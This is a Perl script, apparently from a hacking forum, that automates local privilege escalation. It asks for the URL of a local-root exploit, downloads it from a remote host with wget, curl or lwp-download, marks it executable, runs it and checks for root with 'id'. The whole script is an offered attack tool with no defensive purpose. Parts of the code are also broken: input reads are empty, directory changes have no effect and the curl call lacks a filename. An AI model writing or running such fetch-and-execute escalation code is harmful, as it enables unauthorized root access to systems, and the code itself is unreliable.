Perl localroot fire

[sQuo]

 


LOCALROOT FIRE


C0ded by silent


This Script Helps You To Upload Your Local R00t


Simply.

>#!/user/local/bin/perl 

system('cls');
system('title LOCALROOT FIRE BY silent');

print q (
--------------------------------------------------------------------
|                         LOCALROOT FIRE
|                       C0ded  by  silent
|          This Script Helps You To Upload Your Local R00t
|                            Simply.
--------------------------------------------------------------------
);

sleep 1;

print q (



                               /^
                      _.-`:   /   \   :'-._
                    ,`    :  |     |  :    '.
                  ,`       \,| ROOT|,/       '.
                 /           `-...-`           
                :              .'.              :
                |     LOCAL   . ' .     FIRE    |
                |             ' . '             |
                :              '.'              :
                            ,-'''-,           /
                  `.       /'|     |'\       ,'
                    `._   ;  |     |  ;   _,'
                       `-.:  |     |  :,-
                             |     |
                             |     |
                             |     |
                             |     |
                             |     |

);

sleep 1;

print "\n\nLOCALROOT FIRE IS STARTING \n\n";

sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t.";

sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t.";

sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t.";

print "\n\n------------------------------------------------------------------------";

print "\n\n The kernel version is here ~~> ";

system ("uname -a");

print "\n\n ok \n\n";

print "\n\n Enter Local R00t Address(without Local R00t Name)\n\n[EX: http://www.site.com/mylocalroot/]: \n ~~> ";
$local = ;
chop $local;

sleep 1; print "\n\t\t"; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t."; sleep 1; print "\n\t\t.";

print "\n\n Enter The Local Root Name (the name that was in the local r00t address): \n ~~> ";
$name = ;
chop $name;

$localroot = $local.$name;

print " Your localroot Address Is ==> \t $localroot \n\n\n";

sleep 1;

print q (
=====================================================================
[+] Dawnload Local Root with wget method Write : wget
[+] Dawnload Local Root with curl method Write : curl
[+] Dawnload Local Root with lwp-download method Write : lwp-download
=====================================================================
);

sleep 1; 



print "\n\n Enter the method for download localr00t \n\n ~~> ";
$method = ;
chop $method;

if ($method eq "wget"){

system ("cd /tmp");

system ("mkdir silent");

system ("chmod 777 silent");

system ("cd silent");

system ("wget $localroot");

sleep 5;

system ("chmod 777 $name");

system ("./$name");


print "\n\nYou Will be r00t now!\n\n";


system ("id");


print "\n\n If You Arent r00t now use another method ";

print "\n\n Maybe the script couldnt download your localr00t \n !!!!!!!!! ";

print "\n\n If You are root .... I should say congratulation";

}



if ($method eq "curl"){

system ("cd /tmp");

system ("mkdir silent");

system ("chmod 777 silent");

system ("cd silent");

system ("curl -o $localroot");

sleep 5;

system ("chmod 777 $name");

system ("./$name");


print "\n\nYou Will be r00t now!\n\n";


system ("id");


print "\n\n If You Arent r00t now use another method ";

print "\n\n Maybe the script couldnt download your localr00t \n !!!!!!!!! ";

print "\n\n If You are root .... I should say congratulation";

}




if ($method eq "lwp-download"){

system ("cd /tmp");

system ("mkdir silent");

system ("chmod 777 silent");

system ("cd silent");

system ("lwp-download -a $localroot");

sleep 5;

system ("chmod 777 $name");

system ("./$name");


print "\n\nYou Will be r00t now!\n\n";


system ("id");


print "\n\n If You Arent r00t now use another method ";

print "\n\n Maybe the script couldnt download your localr00t \n !!!!!!!!! ";

print "\n\n If You are root .... I should say congratulation";

}